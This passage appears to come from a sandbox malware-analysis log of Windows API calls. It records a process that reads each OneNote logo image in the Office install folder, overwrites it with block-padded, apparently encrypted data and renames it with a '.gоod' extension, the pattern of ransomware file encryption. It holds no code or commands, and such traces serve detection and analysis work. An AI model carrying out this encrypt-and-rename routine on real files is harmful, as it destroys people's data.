Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x63 [0251.688] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-180.png.gоod", lpFilePart=0x0) returned 0x68 [0251.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0251.688] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-black_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x923af994, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xdb0)) returned 1 [0251.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0251.688] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-black_scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-black_scale-180.png.gоod")) returned 1 [0251.689] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x62 [0251.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0251.689] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-black_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x3b87a20 | out: lpFileInformation=0x3b87a20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f5)) returned 1 [0251.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0251.690] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x62 [0251.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0251.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-black_scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0251.690] GetFileType (hFile=0x768) returned 0x1 [0251.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0251.690] GetFileType (hFile=0x768) returned 0x1 [0251.690] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x7f5 [0251.690] ReadFile (in: hFile=0x768, lpBuffer=0x3b88590, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3b88590*, lpNumberOfBytesRead=0x1fcee238*=0x7f5, lpOverlapped=0x0) returned 1 [0251.693] CloseHandle (hObject=0x768) returned 1 [0252.075] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x62 [0252.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0252.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-black_scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0252.077] GetFileType (hFile=0x768) returned 0x1 [0252.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0252.077] GetFileType (hFile=0x768) returned 0x1 [0252.077] WriteFile (in: hFile=0x768, lpBuffer=0x3a56910*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3a56910*, lpNumberOfBytesWritten=0x1fcee148*=0x800, lpOverlapped=0x0) returned 1 [0252.077] CloseHandle (hObject=0x768) returned 1 [0252.077] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x62 [0252.077] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-80.png.gоod", lpFilePart=0x0) returned 0x67 [0252.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0252.078] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-black_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x92769546, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x800)) returned 1 [0252.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0252.078] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-black_scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-black_scale-80.png.gоod")) returned 1 [0252.079] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x63 [0252.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0252.079] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-white_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x3a57c48 | out: lpFileInformation=0x3a57c48*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x896)) returned 1 [0252.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0252.079] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x63 [0252.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0252.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-white_scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0252.080] GetFileType (hFile=0x768) returned 0x1 [0252.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0252.080] GetFileType (hFile=0x768) returned 0x1 [0252.080] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x896 [0252.080] ReadFile (in: hFile=0x768, lpBuffer=0x3a58868, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3a58868*, lpNumberOfBytesRead=0x1fcee238*=0x896, lpOverlapped=0x0) returned 1 [0252.081] CloseHandle (hObject=0x768) returned 1 [0252.092] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x63 [0252.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0252.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-white_scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0252.093] GetFileType (hFile=0x768) returned 0x1 [0252.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0252.093] GetFileType (hFile=0x768) returned 0x1 [0252.093] WriteFile (in: hFile=0x768, lpBuffer=0x3ad3d58*, nNumberOfBytesToWrite=0x8a0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3ad3d58*, lpNumberOfBytesWritten=0x1fcee148*=0x8a0, lpOverlapped=0x0) returned 1 [0252.094] CloseHandle (hObject=0x768) returned 1 [0252.094] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x63 [0252.094] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-100.png.gоod", lpFilePart=0x0) returned 0x68 [0252.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0252.094] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-white_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9278f6ce, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8a0)) returned 1 [0252.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0252.094] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-white_scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-white_scale-100.png.gоod")) returned 1 [0252.095] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x63 [0252.095] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0252.095] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-white_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x3ad50a0 | out: lpFileInformation=0x3ad50a0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xab5)) returned 1 [0252.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0252.095] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x63 [0252.095] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0252.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-white_scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0252.096] GetFileType (hFile=0x768) returned 0x1 [0252.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0252.096] GetFileType (hFile=0x768) returned 0x1 [0252.096] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xab5 [0252.096] ReadFile (in: hFile=0x768, lpBuffer=0x3ad5ee0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3ad5ee0*, lpNumberOfBytesRead=0x1fcee238*=0xab5, lpOverlapped=0x0) returned 1 [0252.289] CloseHandle (hObject=0x768) returned 1 [0252.302] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x63 [0252.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0252.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-white_scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0252.303] GetFileType (hFile=0x768) returned 0x1 [0252.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0252.303] GetFileType (hFile=0x768) returned 0x1 [0252.303] WriteFile (in: hFile=0x768, lpBuffer=0x3ad0ef8*, nNumberOfBytesToWrite=0xac0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3ad0ef8*, lpNumberOfBytesWritten=0x1fcee148*=0xac0, lpOverlapped=0x0) returned 1 [0252.303] CloseHandle (hObject=0x768) returned 1 [0252.303] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x63 [0252.303] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-140.png.gоod", lpFilePart=0x0) returned 0x68 [0252.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0252.304] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-white_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9297f522, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xac0)) returned 1 [0252.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0252.304] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-white_scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-white_scale-140.png.gоod")) returned 1 [0252.305] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x63 [0252.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0252.306] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-white_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x3ad2240 | out: lpFileInformation=0x3ad2240*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdb7)) returned 1 [0252.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0252.306] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x63 [0252.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0252.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-white_scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0252.306] GetFileType (hFile=0x768) returned 0x1 [0252.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0252.306] GetFileType (hFile=0x768) returned 0x1 [0252.306] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xdb7 [0252.306] ReadFile (in: hFile=0x768, lpBuffer=0x3ad3380, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3ad3380*, lpNumberOfBytesRead=0x1fcee238*=0xdb7, lpOverlapped=0x0) returned 1 [0252.307] CloseHandle (hObject=0x768) returned 1 [0252.397] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x63 [0252.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0252.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-white_scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0252.399] GetFileType (hFile=0x824) returned 0x1 [0252.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0252.399] GetFileType (hFile=0x824) returned 0x1 [0252.399] WriteFile (in: hFile=0x824, lpBuffer=0x3956350*, nNumberOfBytesToWrite=0xdc0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3956350*, lpNumberOfBytesWritten=0x1fcee148*=0xdc0, lpOverlapped=0x0) returned 1 [0252.399] CloseHandle (hObject=0x824) returned 1 [0252.400] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x63 [0252.400] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-180.png.gоod", lpFilePart=0x0) returned 0x68 [0252.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0252.400] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-white_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x92a8b3d5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xdc0)) returned 1 [0252.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0252.400] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-white_scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-white_scale-180.png.gоod")) returned 1 [0252.401] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft 